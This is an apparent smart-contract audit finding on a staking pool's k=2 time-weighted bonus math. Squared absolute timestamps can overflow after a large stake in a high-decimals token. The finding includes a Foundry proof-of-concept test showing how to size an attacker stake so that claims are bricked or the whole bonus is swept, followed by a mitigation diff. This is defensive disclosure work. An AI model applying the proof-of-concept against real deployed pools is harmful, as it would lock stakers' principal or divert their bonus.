Root + Impact
Description
The pool distributes bonus tokens using a k=2 time-weighting formula. For every stake, it records first and second timestamp moments so that a staker's intended score at resolution is amount * (T - entryTime)^2.
The implementation stores absolute Unix timestamps and later expands the squared difference into separate uint256 terms. stake() proves only that the moments fit at the deposit timestamp; it does not bound total stake against the larger calculations performed when risk begins or when claims are evaluated. A successfully accepted standard ERC20 stake can therefore overflow checked arithmetic later even though the intended final score fits in uint256.
One reachable path makes every SURVIVED or EXPIRED claim revert permanently. A second path makes every attempt to observe UNDER_ATTACK revert; after the agreement reaches PRODUCTION, the pool records no risk window, pays stakers no bonus, and allows the entire bonus to be swept to the recovery address.
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
eligibleStake[msg.sender] += received;
userSumStakeTime[msg.sender] += contribTime;
userSumStakeTimeSq[msg.sender] += contribTimeSq;
totalEligibleStake += received;
sumStakeTime += contribTime;
sumStakeTimeSq += contribTimeSq;
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t;
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0;
uint256 T = outcomeFlaggedAt;
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
}
Risk
Likelihood
-
The factory can allowlist any standard ERC20 without enforcing a decimals or base-unit supply limit. A token with sufficient base-unit supply permits deposits whose initial moments fit while their later risk-window or claim-time moments overflow. The proof uses an otherwise standard 58-decimal ERC20, for which approximately 2.8 displayed tokens are sufficient at contemporary timestamps.
-
The overflow occurs deterministically when active risk is observed after a near-limit pre-risk deposit, or when a terminal claim evaluates the expanded polynomial after a near-limit post-risk deposit.
Impact
-
The claim-time path permanently prevents all unclaimed stakers from recovering principal or bonus from the non-upgradeable clone.
-
The risk-start path erases an actual risk interval from the pool's accounting, gives every staker zero bonus, and allows the entire promised bonus to be swept to the sponsor-controlled recovery address.
Proof of Concept
Save the test as test/audit/K2MomentOverflow.t.sol and run forge test --match-path test/audit/K2MomentOverflow.t.sol -vv.
pragma solidity 0.8.26;
import {stdError} from "forge-std/StdError.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
contract HighDecimalsMockERC20 is MockERC20 {
function decimals() public pure override returns (uint8) {
return 58;
}
}
contract K2MomentOverflowAuditTest is BaseConfidencePoolTest {
function setUp() public override {
super.setUp();
token = new HighDecimalsMockERC20();
pool = _deployPool();
}
function testAcceptedStakePermanentlyBricksSurvivedClaims() external {
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
uint256 t = block.timestamp;
uint256 targetTotalStake = ((type(uint256).max / 4) * 3) / (t * t);
uint256 victimStake = targetTotalStake / 4;
uint256 attackerStake = targetTotalStake - victimStake;
_stake(alice, victimStake);
_stake(dave, attackerStake);
uint256 bonus = 1e60;
_contributeBonus(carol, bonus);
vm.warp(t + 3 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
assertEq(pool.eligibleStake(alice), victimStake);
assertFalse(pool.claimsStarted());
assertEq(token.balanceOf(address(pool)), targetTotalStake + bonus);
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
pool.sweepUnclaimedBonus();
}
function testAcceptedPreRiskStakePreventsObservationAndForfeitsAllBonus() external {
uint256 t = block.timestamp;
uint256 targetTotalStake = type(uint256).max / (t * t);
uint256 victimStake = targetTotalStake / 2;
uint256 attackerStake = targetTotalStake - victimStake;
_stake(alice, victimStake);
_stake(dave, attackerStake);
uint256 bonus = 1e60;
_contributeBonus(carol, bonus);
vm.warp(t + 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert(stdError.arithmeticError);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0);
vm.warp(t + 2);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(alice) - aliceBefore, victimStake);
vm.prank(dave);
pool.claimSurvived();
uint256 recoveryBefore = token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery) - recoveryBefore, bonus);
}
}
Recommended Mitigation
Prefer storing moments relative to riskWindowStart, which avoids the large wall-clock terms entirely. A minimally invasive alternative is to reject stakes above a conservative capacity derived from the maximum terminal timestamp. Since T <= expiry, bounding total stake to type(uint256).max / (2 * expiry^2) keeps both terms of every expanded expression within uint256.
+ error StakeMomentCapacityExceeded();
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
// ...
uint256 received = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0;
if (received == 0) revert NoTokensReceived();
if (received < minStake) revert BelowMinStake();
- _clampUserSums(msg.sender);
+ _enforceMomentCapacity(received);
+ _clampUserSums(msg.sender);
// ...
}
+ function _enforceMomentCapacity(uint256 additionalStake) private view {
+ uint256 maxTime = uint256(expiry);
+ uint256 maxTimeSquared = maxTime * maxTime;
+
+ // This division order cannot overflow and is conservatively rounded down.
+ uint256 maxTotalStake = type(uint256).max / maxTimeSquared / 2;
+
+ if (
+ totalEligibleStake > maxTotalStake
+ || additionalStake > maxTotalStake - totalEligibleStake
+ ) {
+ revert StakeMomentCapacityExceeded();
+ }
+ }